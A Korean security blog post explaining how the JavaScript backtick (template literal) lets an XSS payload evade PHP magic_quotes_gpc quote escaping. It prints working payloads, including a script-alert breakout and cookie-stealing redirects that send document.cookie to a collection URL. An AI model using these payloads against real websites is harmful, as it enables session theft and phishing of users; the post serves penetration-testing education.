정보보안/Web

XSS - Backtick(`)

구구닥스 2020. 10. 21. 17:02

Tab 키 위에 존재하는 이 Backtick은 

`

javascript에서는 템플릿 리터럴에 활용된다.

 

Backquote, backtick, grave accent 으로도 불리며 거의 접할 이유가 없는 문자이기도 하다.

 

그러면 왜 XSS에 Backtick을 언급한 이유가 무엇이냐 하면

 

보통 XSS를 발생시키기 위해 Javascript에서 기존 안의 구문에서 벗어나기 위해 

 

"><script>alert('XSS')</script> 와 같은 입력값으로 개발자의 의도와 다른 방식으로 입력을 한다.

 

따라서 보통은  

" , ' , <, >, %

와 같은 특수문자들을 HTML Encoding하거나 필터링하여 입력을 방지한다. 

 

필터링을 하거나 Encoding하여 방지하면 이 Backtick은 의미가 없지만

 

간혹 개발자 중 php에서 magic_quotes_gpc를 활성화 시키고 %aa등과 같이 우회법에 대해서만 조치를 취해놓은 경우가 있다.

 

magic_quotes_gpc 은 일부 특수문자를 입력하게 되면 앞에 \문자가 붙어서 공격을 방어하는 내장 함수이기 때문에

 

앞선 공격구문을 사용하면

 

"><script>alert('XSS')</script> 이 아닌

 

\"><script>alert(\'XSS\')</script>이 되어버린다.

 

맨 앞의 \">는 꺽쇄에 대해서 필터링이 없기 때문에 기존 구문에서 벗어날 수 있지만 다음에 와서 XSS를 발생시켜 리다이렉션 또는 세션 탈취를 하기 위해 URL을 입력할 때 '나  "가 막히기 때문에 단순히 얼럿창을 띄우는 정도만 가능한 취약점이 되어버린다.

 

XSS의 본 목적은 alert('XSS')을 띄워 확인 버튼을 누르는 게 아니고 피해자를 공격 서버로 리다이렉션 시켜 세션을 탈취또는 피싱을 유도하는 것이 목적이기 때문에 싱글쿼터너 더블쿼터가 막히게 되면 굉장히 애매모호한 상황이 된다.

 

javascript에서 URL을 지칭해줄 싱글쿼터를 대신하여 /를 사용할 수 있다

 

location.href=/http:\/\/127.0.0.1/GetCookie?cookie=/+document.cookie처럼 사용 할 수 있는데 

 

magic_quotes_gpc에서는 백슬래쉬에도 탈출문자가 하나더 붙기 때문에 사용이 불가능하다.

 

그때 싱글쿼터나 슬래쉬를 대신하여 Backtick을 사용할 수 있다.

 

바로 javascript의 템플릿 리터럴이 있기 때문이다.

 

따라서 

 

location.href=`http://127.0.0.1/GetCookie?cookie=`+document.cookie으로 사용할 수 있다.

 

이게 가능한 이유는 `는 템플릿 리터럴에 의해서

(1)줄바꿈을 쉽게 할수 있고, (2)문자열 내부에 표현식을 포함 기능을 사용할 수 있어서

 

문자열을 나타낼 수 있기 때문이다.

 

다양한 우회 기법이 있겠지만 이번 프로젝트에서 사용했기 때문에 작성한다.

 

 

 

 

 


출처: https://flik.tistory.com/53 [Flik LAB] 

'정보보안 > Web' 카테고리의 다른 글

Ghostcat : Tomcat-Ajp (CVE-2020-1938)  (0) 2020.07.22
XSS로 HTTP ONLY 우회하여 세션 탈취하기  (0) 2020.06.02
XSS 진단 및 Cheat Sheet  (1) 2020.01.13